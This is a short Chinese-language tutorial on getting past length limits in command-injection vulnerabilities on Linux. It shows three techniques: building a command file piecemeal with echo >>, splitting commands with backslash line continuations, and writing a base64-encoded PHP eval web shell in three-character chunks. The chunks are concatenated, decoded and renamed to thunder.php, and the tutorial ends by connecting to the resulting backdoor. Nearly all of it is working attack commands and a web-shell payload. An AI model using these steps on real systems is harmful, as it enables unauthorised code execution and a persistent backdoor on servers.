前提
当命令执行漏洞对长度有限制时,我们可以通过一些Linux命令生成文件进行执行。
如果应用程序是使用shell解析器来执行命令或文件,那么不需要该文件具有执行属性(x)
如果应用程序没有shell解析器,那么写入文件内容时,可以第一条语句写入#! /bin/sh,这样文件即使没有执行属性也可以执行
方法一:使用>>每次添加一部分命令到文件中
echo -n "cmd1" > r;
echo -n "cmd2" >> r;
echo -n "cmd3" >> r;
echo "cmd4" >> r;
然后使用cat r | bash执行命令
方法二:使用换行执行和ls -t绕过长度限制
linux中,文件中的命令如果需要换行书写,需要在前一行末尾增加\,如文件a中有
ca\
t flag.t\
xt
使用sh a即可执行命令cat flag.txt
方法三:命令通过base64编码输入
1、首先将我们的一句话话进行base64编码
echo "<?php @eval(\$_REQUEST[123]);?>" | base64
PD9waHAgQGV2YWwoJF9SRVFVRVNUWzEyM10pOz8+Cg== //返回结果
2、依次每3个字符的写入到一个文件中
其中-n是令后面不会自动加入换行,方便拼接。
echo -n PD9>a;
echo -n waH>b;
echo -n AgQ>c;
echo -n GV2>d;
echo -n YWw>e;
echo -n oJF>f;
echo -n 9SR>g;
echo -n VFV>h;
echo -n RVN>i;
echo -n UWz>j;
echo -n EyM>k;
echo -n 10p>l;
echo -n Oz8+>m;
3、然后组合刚才生成的这些文件到一个文件中。
cat a b>z;
cat z c>y;
cat y d>z;
cat z e>y;
cat y f>z;
cat z g>y;
cat y h>z;
cat z i>y;
cat y j>z;
cat z k>y;
cat y l>z;
cat z m>y;
4、将y里面的base64编码进行转回源码并且改名为php文件。
base64 -d y>x;
mv x thunder.php;
5、连接webshell进行测试,可以正常利用。